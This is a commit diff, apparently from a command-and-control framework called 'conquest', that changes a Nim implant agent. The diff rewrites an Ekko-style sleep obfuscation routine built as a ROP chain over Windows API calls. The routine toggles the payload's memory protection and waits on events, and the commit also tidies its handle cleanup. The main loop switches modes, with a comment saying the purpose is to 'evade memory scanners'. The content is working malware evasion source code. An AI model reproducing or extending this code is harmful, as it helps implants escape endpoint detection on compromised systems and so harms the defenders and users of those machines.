admin/conquest
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Improved sleep obfuscation cleanup.

Browse Source
This commit is contained in:
Jakob Friedl
2025-09-03 08:46:38 +02:00
parent b19f8e1236
commit 653dfac4b4
2 changed files with 25 additions and 15 deletions
Download Patch File Download Diff File Expand all files Collapse all files

36
src/agent/core/sleepmask.nim
View File

@@ -192,10 +192,10 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt
# ROP Chain # ROP Chain
# ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain. # ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain.
ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx) ctx[gadget].Rip = cast[DWORD64](NtWaitForSingleObject)
ctx[gadget].Rcx = cast[DWORD64](hEventStart) ctx[gadget].Rcx = cast[DWORD64](hEventStart)
ctx[gadget].Rdx = cast[DWORD64](INFINITE) ctx[gadget].Rdx = cast[DWORD64](FALSE)
ctx[gadget].R8 = cast[DWORD64](FALSE) ctx[gadget].R8 = cast[DWORD64](NULL)
inc gadget inc gadget
# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
@@ -228,7 +228,7 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt
# ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. # ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx) ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess()) ctx[gadget].Rcx = cast[DWORD64](cast[HANDLE](-1))
ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
ctx[gadget].R8 = cast[DWORD64](FALSE) ctx[gadget].R8 = cast[DWORD64](FALSE)
inc gadget inc gadget
@@ -273,23 +273,33 @@ proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofSt
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex()) raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
echo protect("[*] Triggering sleep obfuscation.") echo protect("[*] Sleep obfuscation start.")
status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
if status != STATUS_SUCCESS: if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex()) raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
echo protect("[*] Ending sleep obfuscation.") echo protect("[*] Sleep obfuscation end.")
except CatchableError as err: except CatchableError as err:
sleep(sleepDelay) sleep(sleepDelay)
echo protect("[-] "), err.msg echo protect("[-] "), err.msg
finally: finally:
# Cleanup if hEventTimer != 0:
if queue != 0: discard RtlDeleteTimerQueue(queue) CloseHandle(hEventTimer)
if hEventTimer != 0: CloseHandle(hEventTimer) hEventTimer = 0
if hEventWait != 0: CloseHandle(hEventWait) if hEventWait != 0:
if hEventStart != 0: CloseHandle(hEventStart) CloseHandle(hEventWait)
if hEventEnd != 0: CloseHandle(hEventEnd) hEventWait = 0
if hThread != 0: CloseHandle(hThread) if hEventStart != 0:
CloseHandle(hEventStart)
hEventStart = 0
if hEventEnd != 0:
CloseHandle(hEventEnd)
hEventEnd = 0
if hThread != 0:
CloseHandle(hThread)
hThread = 0
if queue != 0:
discard RtlDeleteTimerQueue(queue)

2
src/agent/main.nim
View File

@@ -36,7 +36,7 @@ proc main() =
while true: while true:
# Sleep obfuscation with stack spoofing to evade memory scanners # Sleep obfuscation with stack spoofing to evade memory scanners
sleepObfuscate(ctx.sleep * 1000, ZILEAN) sleepObfuscate(ctx.sleep * 1000, EKKO)
# sleep(ctx.sleep * 1000) # sleep(ctx.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")